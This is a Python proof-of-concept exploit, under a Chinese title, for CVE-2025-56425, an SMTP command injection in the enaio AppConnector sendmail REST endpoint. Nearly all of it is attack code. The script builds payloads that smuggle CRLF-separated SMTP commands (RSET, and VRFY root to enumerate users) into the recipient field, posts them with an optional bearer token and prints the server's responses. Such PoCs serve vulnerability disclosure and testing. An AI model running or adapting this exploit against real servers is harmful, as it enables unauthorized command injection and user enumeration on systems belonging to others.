CVE-2025-56425: enaio AppConnector SMTP命令注入漏洞

import requests import urllib.parse # CVE-2025-56425 SMTP Command Injection PoC # Target: enaio AppConnector /osrest/api/organization/sendmail endpoint TARGET_URL = "http://target-server:50000/osrest/api/organization/sendmail" # SMTP command injection payload # Injecting RSET command to test injection capability smtp_injection_payload = { "to": "[email protected]\r\nRSET\r\n", "subject": "Test Email", "body": "This is a test message" } # Alternative payload with VRFY command to enumerate users vrify_payload = { "to": "[email protected]\r\nVRFY root\r\n", "subject": "Test", "body": "Test" } def exploit(target_url, payload, auth_token=None): headers = { "Content-Type": "application/json" } if auth_token: headers["Authorization"] = f"Bearer {auth_token}" try: response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-56425 SMTP Command Injection Test") print("[*] Target:", TARGET_URL) exploit(TARGET_URL, smtp_injection_payload)